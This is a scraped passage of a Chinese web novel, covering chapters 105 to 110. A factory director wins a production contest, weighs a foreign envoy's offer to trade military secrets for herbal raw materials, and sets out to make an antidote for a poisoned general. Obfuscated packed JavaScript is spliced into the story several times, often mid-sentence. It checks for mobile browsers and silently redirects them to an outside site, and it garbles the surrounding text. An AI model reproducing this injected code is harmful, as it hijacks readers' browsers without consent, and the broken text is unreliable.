真正的战争，不在于打倒多少看得见的对手，而在于。。。如何让自身强大到足以碾碎所有潜在威胁！ 他的战场，不该是在这布满阴谋诡计的血腥角落！ 而在安平县那片轰鸣的工地！在苏晚夏那份“低温离心萃取技术”图纸里！在卫国制药厂每一台精密运转的机器中！在每一款能真正护佑家国的创新药品之上！ 那才是射向“方舟”心脏的致命**！ …… 审讯结束，临时指挥部里气氛热烈。周正和白晴正兴奋地商讨如何顺着吴院士的线索深挖“方舟”残余。 林卫国却抱着装满审讯记录和核心证物的箱子，放到了他们面前的桌上。 “周组长，白组长，”他看着错愕的二人，语气平静，“接下来的事，是你们的专长。我的任务。。。到此为止了。” 周正和白晴愣住了，不明白为何在即将收获最大功劳时选择抽身。 林卫国解释道： “吴院士有句话没说错。我只是个医生，一个厂长。” “抓特务，你们是专家。搞生产，弄技术。。。我能做的，兴许比打打杀杀多一点。” “国家强大，需要你们这样的盾牌，也需要我们这样的工匠。” “现在，该我回去做那个工匠了。” …… 三天后，广州火车站。 林卫国婉拒了周正和白晴安排的专机，独自踏上返回安平的列车。 刚上车，王刚气喘吁吁追来，塞给他一个没有标记的信封。 “卫国，秦老将军让亲手交给你！” 林卫国疑惑地拆开。 信纸上只有一行秦老苍劲有力的字迹：“小子，京城水深，回安平暂避。但该来的，躲不掉。” 信封里还有一张泛黄的旧照片。 照片上，两个穿着五十年代旧军装的年轻人意气风发，勾肩搭背。其中一个是林卫国的父亲年轻时的林长山。 而另一个。。。 …… 火车南下时，载着满身风雨；火车归来时，却捎来了久违的安宁。 林卫国踏上安平县的土地，熟悉的北风裹着泥土和煤烟味扑面而来。 在广州紧绷到极致的神经，终于松弛下来。 家，还是那个家。 母亲孙秀娥小跑着迎出来，一把拉住他的手。 “瘦了，瘦了。” 她上下打量，眼圈泛红，声音带了哽咽。 妹妹林招娣像只小麻雀，叽叽喳喳围着他转。 父亲林长山变了。 沉冤昭雪后，他紧锁的眉头松了，皱纹里偶尔漏出一丝笑意。 …… 温馨很短暂，林卫国第二天就返回了工厂。 他才刚回去，没果多长时间，县长钱国栋就带着一份**找上门，脸色铁青。 “卫国，出事了。”钱国栋把文件推过去，嘴角压着苦涩。 林卫国接过未见，只看了一眼，眉头便紧紧的皱起。 因通脉丹疗效惊人，被列为援外战略物资。省里下达了命令，卫国制药厂，三个月必须生产十万盒！ 这是省内规定的生产任务，不容辩驳。 王建民“噌”地站起来，脸涨成猪肝色。 “十万盒？绝不可能！” 他指着窗外车间，声音发颤：“钱县长！拼了命最多三万盒！新设备不吃不睡也赶不出！” 赵胜利一脸死灰：“这是要逼死我们！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217915|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 钱国栋压低嗓门，靠近林卫国：“你在广州风头太盛，有人眼红了。交不了差，他们就能收了厂子。” 林卫国没吭声。 …… 他一头扎进车间，从原料处理到封装，盯了一整天。 问题比想象更糟：德国工程师汉斯的流程精密严谨，工人却嫌死板；老师傅的经验操作，汉斯嗤之以鼻。 两厢内耗，效率反不如旧设备。 正焦头烂额，一个不速之客到了。 钱进，上海来的技术专家。的确良白衬衫亮得晃眼，金丝镜后透出骨子里的倨傲。 他连招呼都没打，径直闯进车间。扫视一圈后，冷笑出声。 “不中不洋！”他推推眼镜，上海腔拖得刺耳，“德国人的规矩没学会，土法子倒丢了！这流程，简直是工业垃圾！” 车间霎时炸了锅！王建民气得直哆嗦。 钱进视若无睹，走到林卫国跟前，施舍般一扬下巴。 “林厂长？这破厂子底子稀烂。”他敲了敲流水线，“交给我管，一个月内，产量起码涨三成！” …… 三日后，全厂干部大会。 焦虑和绝望压得人喘不过气。 正当众人以为林卫国要认命时，他缓缓站起身。目光扫过全场，停在钱进骄傲的脸上。 “好，给你机会。” 全场死寂。 他指向墙上的流水线图。 “两条核心线，分你一半。人、设备、原料都归你管。” “我们赌一把。” 声音不高，却如惊雷炸响。 “一个月后，比谁的产量高。” 钱进错愕张嘴。 “你赢，升生产副厂长，只在我之下。” 林卫国嘴角一勾，冰冷笑意漫开。 “输，就脱了这身白衬衫，滚去车间当学徒，从拧螺丝开始。” “好！”钱进咬牙道：“那就一言为定！” …… 卫国制药厂的干部大会刚结束，一场生产竞赛就轰轰烈烈地开始了。 整个工厂被一道醒目的白线分成A、B两区。 A区由新来的上海专家钱进全权负责。 第106章 思想动员大会 钱进没急着开工，而是花了整个上午开“思想动员大会”。 他动员的方式也痕迹爱你单，使用他认为最科学的奖惩制度，并希望以此来激励工人们的积极性。 钱进公布的制度如下： 迟到一分钟扣半天工资； 操作失误一次扣三天奖金； 连续三次不达标直接开除！ 这套制度头两天确实让A区的效率提了上去，震慑的效果看起来不错。 林卫国的办法和钱进很不一样，他没开大会，也没定复杂规章。 他只做了三件事。 第一，他让财务科抬了张桌子和一口装满现金的麻袋，直接放在车间门口，并且告诉所有工人，只要能完成基础产量，每人就奖励五块钱现金。 如果有超额部分，那奖金立刻翻倍。 所有奖金下工之后当场发放，没有任何拖欠。 他这手段自是立竿见影，所有工人都沸腾了。 在那个一分钱掰两半花的年代，这简单粗暴的刺激，比啥口号都管用！ 第二，他在车间墙上挂了块小黑板，写着技术革新英雄榜。 不管老师傅还是新学徒，只要对生产流程的改进建议被采纳见效，立刻奖励五十块！ 而且名字将直接上榜，全厂公示。 五十块！那可是普通工人俩月工资！ 这下，别说普通工人，连王建民这种老师傅的眼睛都亮了！ 第三，林卫国亲自下了车间。 他基本不用说什么，只是亲自上阵，便让B区的工人情绪激动。 这三个手段并驾齐驱，让B区的工作效率直线上升。 几天后，两条生产线差距迅速拉开。 钱进的A区最先出了问题。 工人们在那套严苛规则下如履薄冰，越紧张越出错。 一个年轻工人操作离心机调错转速。 这本是微不足道的失误，却被钱进当场抓住，按规扣了半月奖金！ 工人们心底的怨气越来越重，他们不敢明着反抗，可却各个开始消极怠工。 正情况让A区的工作效率更低了，整个A区完全陷入了恶性循环中。 可钱进把这都归结于工人素质差、纪律差，根本就没有调整策略的意思。 这无疑更加剧了双方的矛盾。 与此同时，林卫国的B区却热火朝天，干劲儿十足！ 工人们为了每日到手的热乎奖金，自发加班加点，热情高涨！ 短短几天，B区生产流程就改进了十几处！ 产量稳步提升，质量合格率也越来越高！ 竞赛第二十天深夜，决定性事件发生了。 A区车间，一台进口的德国核心萃取设备，因工人操作失误，发出刺耳尖啸，彻底**！ 机器一停，整条A区生产线等于瘫痪！ “废物！一群废物！”钱进看着冒黑烟的机器，气急败坏地咆哮，“都别想下班！啥时候修好啥时候走！” 回应他的是一片死寂。 工人们低着头，默默收拾东西，一个接一个从他身边走过，离开了车间。 没加班费，还随时可能被扣钱，谁肯为这不近人情的“监工”卖命？ 最终，偌大的A区车间只剩钱进一人，对着冰冷的**机器。 他引以为傲的“科学管理”，此刻如此苍白无力。 失魂落魄间，他猛地发现对面B区车间竟灯火通明。 他鬼使神差地走了过去。 眼前的景象让他彻底呆住。 林卫国、老厂长王建民，甚至一直跟他不对付的德国工程师汉斯，全都穿着沾满油污的工装，带着一群同样满身油污却精神抖擞的老师傅，围着一台……和他那边一模一样的萃取设备，正热火朝天地抢修！ “你们……”钱进声音干涩。 王建民回头瞪他：“看啥？还不过来搭把手！你那边机器一坏，我们B区今天也得跟着停！真以为大伙是给你修的？” 话虽冲，可王建民和所有工人脸上，都没有怨言。 钱进看着眼前这不可思议的场面中方德方技术人员协同奋战，再回头看看自己那边冰冷死寂的流水线，那颗被骄傲和理论塞满的心，被人心活活击碎了。 …… 一个月后，产量对比结果出炉。 毫无悬念。 林卫国的B区总产量，是钱进A区的整整三倍！ 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217916|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全厂工人注视下，钱进脸色煞白，羞愧地走上台，向林卫国深深鞠躬。 “林厂长，我输了。心服口服。” 他脱下那件不再洁白的白衬衫，准备履约。 林卫国却叫住了他。 他把一份新文件拍在钱进面前。 “副厂长的任命依然有效。” 钱进猛地抬头，眼中充满难以置信。 林卫国笑了笑。 “不过，你的职位是‘技术研发副厂长’。” “我需要你，把王厂长和老师傅们的‘土办法’，跟汉斯的‘德国标准’，拧到一块儿去。” “把它们变成真正科学的、属于咱们卫国制药厂自己的‘生产标准’。” …… 在林卫国的雷霆手段下，卫国制药厂内部的所有矛盾被拧成了一股绳。 心高气傲的上海专家钱进成了研发部领头人。他不再迷信书本上的“科学管理”，虚心跟在王建民等老师傅身后，将那些看似粗糙却好用的“土办法”一一记录，尝试用理论总结优化，转化为属于卫国制药厂的标准流程。 就连严谨刻板的德国工程师汉斯，也在与王建民等人的合作里尝到了新滋味。中国工人在艰苦条件下展现的智慧让他惊叹，双方的合作也从最初的格格不入变得相得益彰。 众人齐心，工厂生产效率**式提升！ 然而，新的曙光乍现，一座更致命的大山已横亘眼前。 原料告急！ 厂长办公室内，铁人般的副厂长赵胜利瘫在椅子上，声音沙哑： “厂长，我……我尽力了。” 他面前堆着一摞盖满“驳回”红章的申请报告。 “‘通脉丹’需要的老山参、野生鹿茸、天山雪莲……全是国家严控的特级战略物资！腿跑断了，嘴皮子磨破了，钱县长和省里周主任的关系都用上了……”他捏着报告的手青筋暴起，“最终……只批了五万盒的配额！” 赵胜利眼圈泛红： “五万盒……离上面十万的要求差整整一半！这……怎么办啊！” 办公室死寂。王建民、钱进等人眉头紧锁。生产效率再高，没米也做不出饭。这军令状，似乎从一开始就是条死路。 第107章 我们不要钱 绝望弥漫之际，一辆挂着特殊黑牌的伏尔加轿车无视门卫阻拦，径直冲到厂办公楼门口。 车门打开，一个高大冷峻的白人中年走下。笔挺的黑西装，锐利的眼神，浑身透着大国使节的威严，与这座小县城格格不入。 他径直入内，用生硬中文点名找到林卫国： “请问，是卫国制药厂厂长林卫国先生吗？” 随即，他从公文包里取出一封火漆印信件： “我是维克多，‘北方联盟’驻华使馆商务参赞秘书。这是我们领袖亲笔写您的感谢信。” …… 保密会议室，气氛紧绷而诡异。 林卫国扫过信纸上苍劲的俄文签名，心中了然。 果然，维克多在转达完领袖对其治愈顽疾的敬意后，话锋一转： “林厂长，听说贵厂最近遇到点麻烦？”维克多公式化地微笑，“为深化两国传统友谊，‘北方联盟’愿意在‘原料’上，提供一些‘特殊’的帮助。” 赵胜利与王建民交换眼神，惊疑不定。 维克多似乎很满意他们的反应，将一幅远东地图摊在桌上，指向一片广袤森林： “这儿，是我们联盟的珍宝。盛产‘通脉丹’所需的核心药材，无论品相还是年份，远超贵国能寻获的一切。” 他微笑道： “我们愿以极低价，向贵厂长期、稳定‘出口’这些顶级原料。” 赵胜利和王建民的呼吸瞬间急促！ 这简直是天降甘霖！ 林卫国却面沉如水。世上没有免费的午餐。 “条件？”他问。 维克多笑容加深： “我们不要钱。” 他直视林卫国，一字一顿： “我们要贵厂另一款传奇产品‘速效止血散’的全部生产技术。” 轰！ 这条件如重磅**炸开会议室！ 赵胜利和王建民脸上的狂喜瞬间凝固，转为骇然！ 速效止血散那是林卫国起家的根基！配方和工艺早被军方列为三级保密技术！ 答应，能立刻解决燃眉之急，完成那不可能的任务！ 可不经国家批准，私自拿军工保密技术做交换？这算什么？ 轻是严重违纪！ 重是通敌叛国！ 拒绝？工厂再陷绝境，前功尽弃！ 这交易，如诱人的**！ …… 县长钱国栋得知消息，深夜驱车直闯工厂！ “不行！绝对不行！”他一进门就斩钉截铁反对。将林卫国拉到一旁，压低声音急道： “卫国！你糊涂！这分明是‘北方联盟’挖国家墙角！速效止血散是什么？是战场的军资！这技术要是流出去，责任你担得起？我担得起？！” “可是钱县长，那十万盒任务……”赵胜利急道。 “任务完不成，顶多能力不足！拿国家核心机密交易，那是立场问题！是叛国！”钱国栋异常坚决。 正当林卫国两难抉择之际，**一旁的维克多仿佛看透了他的挣扎。 他缓缓起身，脸上重新挂起那高深莫测的微笑。 走到林卫国面前，投下了足以改变一切的话语： “林厂长，或许您还不知道。” “我们伟大领袖的女儿，联盟的明珠，卡捷琳娜同志，是一位杰出植物学家。” “她对贵国博大精深的中草药文化，极感兴趣。” 维克多看着林卫国骤然收缩的瞳孔，微笑： “下星期，她将作为‘青年友好访问团’团长，亲自来安平县考察。” 消息像投入深潭的石子，在小小的安平县激起了千层浪。 县政府会议室，空气绷得如同拉满的弓弦。 县长钱国栋的额头上冷汗涔涔，攥着块手帕不停擦拭。 “同志们，都打起精神！”钱国栋的声音因激动而尖利，“这不是普通的接待！这是‘北方联盟’的公主！是我们安平县头一遭的最高级别外事活动！每一个细节都关乎国家脸面！任何差错都是国际事件，谁也担不起！” 一声令下，整个安平县像上了发条的机器，轰然运转。 尘土飞扬的街道连夜清扫洒水；斑驳的墙壁被新漆覆盖；连县小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217917|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学的孩子们都紧急排练起来，手里摇晃着连夜赶制的两国小旗。 全县上下人仰马翻，只为了这场前所未有的任务。 然而，讨论核心接待方案时，林卫国一句话让所有干部瞠目结舌。 “国营饭店？参观工厂？”听完常规计划，他缓缓摇头，“太俗套了。” 钱国栋急得直拍桌：“卫国！这节骨眼上别开玩笑！不安排国宴，不展示先进工业成果，岂不是怠慢贵宾？！” “什么才是最好的展示？”林卫国扫过一张张焦急的脸，“让卡捷琳娜同志看冰冷的机器，还是看我们穿干部服在酒桌上说客套话？” 他站起身，走到地图前，手指重重戳在“红星公社”的位置。 “第一站，就该放在红星公社那片丰收的‘神仙地’里。” 迎着钱国栋错愕的脸，他一字一顿：“欢迎仪式也免了。我亲自开拖拉机去接这位‘公主’。” “什么？！” 会议室霎时炸锅！ “胡闹！简直就是胡闹！”一位副县长拍案而起，“开拖拉机接外宾？太‘土’了！这会损害国家形象，让外人看笑话！” “笑话？”林卫国笑了，“让她亲眼看看，我们华国的农民如何用双手，在贫瘠地上创出丰收奇迹。让她切身感受这片土地上最真实、最蓬勃的生机！” “这才是展示‘新农村、新农业、新面貌’的最佳方式。这，比任何国宴更能打动人心。” …… 最终，在林卫国的坚持下，这个看似荒唐的方案被强行通过。 次日清晨，红星公社通往县城的田埂路上，甚至铺了一层崭新的红地毯。 当挂着外交牌照的黑色轿车停下时，卡捷琳娜走了下来。她金发碧眼，米色风衣衬得气质高贵，眼中却闪烁着学者特有的清澈好奇。 她婉拒了钱国栋等县领导的陪同，目光反而被不远处“突突”作响的东方红拖拉机吸引，尤其是驾驶座上那个穿着普通蓝工装，笑容自信的青年。 “您好，卡捷琳娜同志。”林卫国跳下拖拉机，主动伸手，“我是卫国制药厂的林卫国。” 第109章 救救我的祖国！ 卡捷琳娜脸上灿烂真诚的笑容瞬间冻住，取而代之的是无法掩饰的惊恐。篝火晚宴的热烈气氛，眨眼跌到冰点。 “钱县长，林同志，非常抱歉。”维克多急促的催促下，卡捷琳娜强压住悸动，仓促地向钱国栋和林卫国等人告别，“国内……有紧急情况，我必须立刻赶回去！” 她只字不提国内发生了什么，讳莫如深。 钱国栋和安平县的干部们，脸上的笑容还僵在嘴角，此刻已化作掩饰不住的失望与忧虑。他们手足无措地杵在原地，眼睁睁看着那辆黑色外交轿车亮起大灯，卷起烟尘，头也不回地扎进夜色，消失无踪。 一场宾主尽欢的盛宴，就这么虎头蛇尾、不明不白地草草收场。 “这……到底怎么回事啊？” “眼瞅着要成了，怎么说走就走？” “完了！千载难逢的机会，肯定泡汤了！” “合作算啥！这么高级别的外宾，深更半夜从咱安平跑了，省里要是怪‘接待不周’，这顶帽子谁戴得起？” 干部们唉声叹气，愁云惨雾，仿佛天塌了。 …… 与外界的惶惶不安截然相反，卫国制药厂厂长办公室里，林卫国异常平静。赵胜利、王建民等人围着他，同样愁容满面。 “唉，原料刚有眉目，又出这档子事！”王建民一拳砸在桌子上，“这下雪上加霜！那十万盒的任务，彻底没指望了！” 林卫国没参与议论。他将自己关在屋里，点上根烟，辛辣的烟雾在房间弥漫。他闭上眼，像放电影一样，仔细复盘与卡捷琳娜见面到他们离去的每个细节、每个表情、每句话。 首先排除**斗争。若是政斗，维克多这受过严苛训练的职业军人，脸上该是凝重警惕，而非发自肺腑、压不住的焦灼。军人的焦灼，只意味一件事——前线出大事了！ 至于那位高贵的“公主”卡捷琳娜，她碧蓝眼眸深处藏着的，不是政客面对倾轧的阴冷愤怒，而是某种更纯粹的、对同胞生命的……深深恐惧。 能让领袖的女儿恐惧到这种地步，绝非权力更迭。 林卫国脑中劈过一道闪光——北方联盟国内，必然爆发了足以动摇国本的突发技术或医疗灾难！严重程度，已超出他们自身掌控！ 想通关键，他缓缓吐出最后一口烟圈。 这事，没完。 他要等的“东风”，或许就要自己找上门了。 …… 当晚，林卫国正待休息。 “笃…笃笃……” 极其轻微、几乎被忽略的敲门声，在他临时住所门外响起。 林卫国眉头一挑，起身开门。 门外站着的，正是那个既意外又在情理中的人影—— 去而复返的维克多！ 白天那位威严冷峻的大使馆秘书，此刻已荡然无存。他笔挺的西装沾满泥浆露水，头发凌乱，那张冰山脸孔上，只剩下绝望和恳求。他显然是避开所有岗哨，悄悄摸过来的。 “林先生！” 一进门，这身高一米九、壮如北极熊的汉子，竟对着林卫国，“噗通”一声，单膝跪地！ “维克多先生，快起来！”林卫国连忙搀扶。 “林先生！我是来求您救命的！”维克多声音带着哭腔，“求您，救救我的祖国！救救我的战友！” 他再无隐瞒，将那骇人消息和盘托出： 就在昨日，北方联盟远东新建的大型化工厂，发生剧烈**！一种他们从未见过的新型催化剂生产中的未知化学物质，大规模泄漏！毒物随排污系统，急速污染下游整条河流！ 而下游，正是一座大型军垦农场！ 数百名正在劳作的官兵，饮用了污染水源后，相继陷入深度昏迷，生命垂危！ 更要命的是，联盟内部极力主张与华国深化合作的核心元老——伊万诺夫将军，当时正在农场视察！他也同样陷入昏迷！ 联盟最顶尖的医疗专家，对这种未知**束手无策！只能眼睁睁看着士兵和老将军的生命体征一点点衰竭！ “我们没时间了！”维克多双眼布满血丝，“卡捷琳娜殿下知道，这世上若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“钱县长，您先别急，让我想想。”他对着话筒说完，随即捂住，转向维克多，声音低沉而有力：“维克多，立刻离开，找个绝对安全的地方藏起来。没我的消息前，别联系代表团任何人。等我电话。” 维克多看着林卫国那双平静却透着力量的眼睛，仿佛溺水者抓住了浮木。他重重点头，毫不犹豫转身，消失在夜色之中。 第110章 二级压缩制冷 看着维克多消失，林卫国才重新拿起电话。 “钱县长，”他的声音冷静得出奇，“我们现在来分析局面。” 电话那头钱国栋急促的催促瞬间止歇。 “救不救，不是选择题。”林卫国缓缓道，“这是事关安平县，乃至国家利益的战略题。” “救，好处有二：一，彻底解决药厂原料命脉，那十万盒军令状迎刃而解。二，赢得一个强大邻国未来领袖的顶级友谊——一位元老将军、数百士兵的性命，这份人情，足以让他们的保守派十年抬不起头。” “当然，风险也大。可能引发外交风波，我们甚至会被处分。” 他顿了顿，语气更凝重：“那么不救呢？表面看是遵守纪律，保全自己。但后果？第一，工厂危矣，完不成任务，前功尽弃。第二，一个潜在的强大盟友将彻底倒向保守派，未来我们北方边境压力剧增。” 钱国栋在电话那头听得冷汗直冒，心头一惊。林卫国竟在这么短时间内，把利弊剖析得如此透澈，直指国家战略！ “硬闯或私自越境，都是下策。”林卫国思路清晰，“所以，我们不能‘出去’，得让他们‘进来’。” “钱县长，卡捷琳娜在省城的官方行程，您手上有吧？” “有……有啊。” “里面是不是有一项——赴省城友谊医院友好医学交流？” “没错！明天下午！” “那就行了。”林卫国嘴角勾起一丝笃定的弧度。 “钱县长，”他语气沉稳，“我当然不会私自接触外宾，那是违反纪律。” “但我，林卫国，作为安平县优秀青年技术人才代表，主动响应省里号召，去省城参加‘友好医学交流会’，向国际友人学习先进经验——” “这总合规吧？” …… 卫国制药厂实验室灯火通明。 一场激烈的争论正在进行。 被林卫国道破责任、委以重任的技术副厂长钱进，早已收敛了往日的傲慢，他拿着小本子，虚心跟在老厂长王建民身后，记录着老师傅们提出的每一个“土办法”。 另一边，德国工程师汉斯抱着一沓写满复杂公式的图纸，激动地指着其中一处，与王建民争得面红耳赤。 “不行！王！这想法虽然巧妙，但违反热力学第二定律！”汉斯语速飞快，“单纯井水循环冷却，温差太小，短时间内绝对无法将萃取液降到零下五度！” “怎么不行？”王建民眼一瞪，“我在老厂就这么干！井水不够凉？加硝石！老祖宗几百年前就懂的法子，怎么就不行？” “硝石？腐蚀管道！成本高！不科学！”汉斯连连摇头。 眼看两人又要吵翻，一旁的钱进猛地眼神一亮，冲上前将两份图纸抓过来： “王厂长，汉斯先生，别吵！我有办法！” 他灵感乍现，将汉斯精密的“二级压缩制冷”理论与王建民“硝石制冷”的土办法巧妙结合，提出了一个全新的方案——“盐水-乙二醇二级循环冷却过滤系统”！ 这方案既兼顾了理论的精密高效，又吸收了土办法的廉价实用。三人彻夜计算论证，一旦成功，萃取过程的能耗能骤降百分之四十！ 这次成功的碰撞，让“海归派”、“本土派”和“新生代”第一次真正拧成了一股绳。 …… 第二天下午，省城友谊医院。 林卫国拿着钱国栋紧急补办的“技术交流学习”文件，走向那扇关乎数百人生死的大门。 刚踏上医院富丽堂皇的台阶，两个穿制服的保安便横身拦在面前。 医院院长刘光明，一个与省里某位刁难卫国制药厂领导关系匪浅的保守官僚，显然已接到“招呼”，亲自等在那里，脸上堆着笑： “哎哟，这不是卫国制药厂的林厂长吗？什么风把你这大忙人吹来了？” “刘院长，我来参加今天的医学交流会。”林卫国道。 “交流会？”刘光明故作惊讶地抬腕看表，“林厂长，真不巧。今天交流会规格很高，参会名单省里早就定了，恐怕……不合适让你参加啊。”他上下打量着林卫国，目光透着毫不掩饰的轻蔑，“再说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“离心机转速不稳，最大离心力只有三千，分离不出血清里的微量蛋白。” “光学镜片有色差，放大倍数低，看不清细胞内结构。” “分光光度计的波长校准，误差至少百分之五。” 他平静地巡视一圈，便点出了所有缺陷。协助的顶尖技术员们面面相觑，脸上发烫——这些问题他们心知肚明，却束手无策。 就在他们以为林卫国要抱怨甚至放弃时，他却默默开始了工作。 他走到嗡嗡作响的老式离心机前，侧耳倾听轴承转动的声音，随后捡起一小段废弃铜线，弯出奇特形状，打开机盖缠在转子配重块上。 重新合盖启动。 奇迹发生了！ 噪音锐减，转速异常平稳地提升，竟突破了额定的三千转，达到全新高度！ 这只是开始。 短短一小时，林卫国如同化腐朽为神奇的魔术师。 他用酒精棉签以特殊手法校准显微镜光路，清晰度骤增。 他拆开分光光度计外壳，仅用一把小螺丝刀调整内部棱镜角度，便将波长误差控制在千分之一以内！ 这堪称神技的改造，让在场所有技术员目瞪口呆，如见神明！ …… 十小时后。 历经重重波折，专机降落在省城军用机场。 维克多亲自提着金属箱一路疾驰，送达实验室。 箱内带着西伯利亚寒气的试管被取出。 林卫国二话不说，立刻投入样本分析。 实验室死寂，唯有仪器低鸣与压抑的呼吸声。 时间一分一秒流逝。 门外，卡捷琳娜和巴维尔教授坐立不安，度秒如年。 五小时后，林卫国紧锁的眉头终于舒展。 他从一滴历经无数次离心、萃取的血液中，找到了一种极其罕见的有机磷化合物，它与某种重金属形成了异常稳定的螯合反应！ 线索瞬间串联成完整的证据链！ 他立刻让巴维尔调取将军最详细的病历。 查看过后他便知道，这并非已知毒物！ 这是一种只为伊万诺夫将军“量身定制”的致命毒素！ 林卫国提笔，在准备好的纸上迅速勾勒出这全新毒素的完整化学分子结构图及其形成、致病原理。 当他将毒理分析报告递给巴维尔时，这位北方联盟首席医疗官看着复杂的分子结构图，如同目睹神迹降临！他们举国顶尖专家动用最先进设备都未能完成的工作，竟被这年轻人用简陋设备在数小时内完美破解！ “天才！真正的天才！” 巴维尔激动得浑身颤抖，死死握住林卫国的手，用母语反复赞美！ 诊断，完成了！ 然而，当林卫国将他开出的、唯一有效的解毒方案交给巴维尔时，新的、更深的绝望浮现。 这方案需要一种结构极其复杂的特定化合物作为中和剂，用以打破那可怕的稳定螯合结构。 巴维尔看着那串天书般的化学式，激动涨红的脸瞬间变得惨白。他抬起头，声音带着哭腔的绝望： “林医生……没希望了……” “据我所知……要合成这种级别的超复杂有机物，目前只有西欧最顶尖、设备最先进的实验室才可能做到。” “我们没有这技术……” “而华国……恐怕也不行。” 刚才还兴奋的空气，瞬间降至冰点。 病因找到了，解药却做不出来。 这感觉，就像一个医生指着十米外的岸，告诉溺水者：“看，希望就在那儿。”可两人都不会游泳。 亲眼看着希望升起，又被现实狠狠碾碎，实验室里每个人都感到了窒息般的无力。 卡捷琳娜原本焦急发白的脸上，此刻更是一丝血色也无。她是“北方联盟”的公主，从未品尝过如此无措的滋味。 不甘心！ 她立刻动用外交渠道，通过大使馆秘密向西欧某工业强国发出紧急求购。甚至开出了让对方无法拒绝的**和经济条件。 仅仅半小时，冰冷的答复传回： ?6?7?6?7“该化合物涉及我国最高级别生物技术机密，法律禁止任何形式出口或转让。”?6?7?6?7 最后的路，彻底堵死。 实验室一片死寂。 连林卫国的眉头也紧紧锁起。吴院士留下的难题，远超想象。知道解药的分子结构和合成路径又如何？巧妇难为无米之炊！没有顶尖设备，再好的赛车手开着破拖拉机，也绝不可能在F1赛道创造奇迹。 绝望如浓雾笼罩。 “报告！” 一个年轻通讯干事攥着封加急电报冲进来：“林顾问，安平县卫国制药厂急电！” 安平？ 一个乡镇企业？这种时候能有什么事？ 包括刘光明在内的省城官员，心底都掠过一丝不以为然的轻蔑。 林卫国迅速拆开电报。苏晚夏用简洁的工作汇报口吻写道： 钱进、王建民和汉斯合力下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230230|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “盐水-乙二醇二级循环冷却过滤系统”成功试运行，萃取能耗骤降百分之四十。 林卫国嘴角刚掠过一丝欣慰。 下一秒！ 当他目光扫到电报末尾最后一行—— ?6?7?6?7“……另，汉斯先生与钱进同志调试德制高精度机床时，意外发现：更换核心反应釜传动轴承并重写控制芯片底层逻辑，可实现超高精度‘聚合反应控制’。其理论精度，足以满足已知最复杂有机化合物合成需求……”?6?7?6?7 聚合反应控制！ 这正是合成解药最关键、技术门槛最高的核心步骤！ 如同最精密的锁，终于找到了唯一匹配的钥匙！ 前一秒还压在心头的阴霾，被这束千里之外的意外曙光彻底撕裂！ 林卫国缓缓叠好那张薄薄的电报纸，揣回口袋。他抬头环视房间——所有人依旧愁眉苦脸、唉声叹气。 一个石破天惊的决定，在他口中清晰炸响： “我们，不需要求任何人。” 声音平静，却如惊雷滚过每个人耳畔！ “解药，我们自己造。” 他迎上卡捷琳娜那双因绝望而黯淡的蓝眸，一字一顿： “就在我的工厂，在安平！” “什么？！” “疯了！他绝对是疯了！” 包括省领导和院长刘光明在内，所有人都觉得林卫国受了太大刺激，精神失常了！ 刘光明更是嗤笑出声：“林厂长，省城的大厂都办不到！乡镇企业凭什么能行？” 林卫国没有辩解。他只是看着卡捷琳娜。 “公主殿下，根据你们专家的判断，伊万诺夫将军只剩不到二十四小时。” “你，愿意赌一次吗？” “赌注是他的命……和我们两国未来的友谊。” 空气凝固。 所有人的视线钉在卡捷莉娜身上。 